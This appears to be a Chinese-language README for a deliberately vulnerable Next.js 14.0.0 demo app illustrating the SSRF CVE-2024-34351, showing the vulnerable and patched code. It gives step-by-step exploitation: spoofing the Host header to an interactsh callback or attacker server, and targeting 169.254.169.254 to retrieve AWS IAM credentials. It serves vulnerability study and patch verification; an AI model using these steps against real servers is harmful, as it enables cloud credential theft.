用于演示 CVE-2024-34351 的最小化 Next.js 14.0.0 应用——这是 Next.js Server Actions 中的一个服务端请求伪造(SSRF)漏洞。
由 Assetnote 的 Adam Kues 和 Shubham Shah 发现。已在 Next.js 14.1.1 中修复。
当 Server Action 调用 redirect('/some-path') 时,Next.js 会使用传入请求中的 Host 头(未经校验)构建一个内部 fetch URL:
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host'] // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... }) // server makes this request
能够控制 Host 头的攻击者可以将这次内部 fetch 指向服务器能够访问到的任意目标。
npm install
npm run build # must use production build -- dev mode routes redirects differently
npm run start # app runs at http://localhost:3000
interactsh 可用于确认 Next.js 服务器向攻击者控制的主机发起了出站请求。
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client
在 Burp Suite 中:
http://localhost:3000,在拦截打开的状态下提交登录表单Host: localhost:3000 改为 Host: abc123.oast.fun这证明了出站 SSRF。该请求源自服务器进程,而非浏览器。
interactsh 无法控制其响应,因此 Next.js 不会继续跟进到 GET。 要取回完整的响应体,请使用附带的攻击者服务器:
python3 attacker/attacker_server.py 8888
将 Host 头设置为 <your-lan-ip>:8888 并转发。攻击者服务器会以 Content-Type: text/x-component 响应 HEAD,从而触发 GET。完整的响应体会出现在 Burp 中可见的 Next.js 响应内部。
当漏洞应用运行在 AWS EC2 实例上时,将 Host 头设置为:
Host: 169.254.169.254
Next.js 将向实例元数据服务发起请求。要检索 IAM 凭证:
Host: 169.254.169.254
然后调整重定向路径或使用后续请求指向:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
完整的元数据响应会返回给攻击者的浏览器。
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
?? process.env.__NEXT_PRIVATE_ORIGIN
?? req.headers['host']
该修复优先使用 process.env.__NEXT_PRIVATE_ORIGIN——它在服务器启动时设置,攻击者无法控制。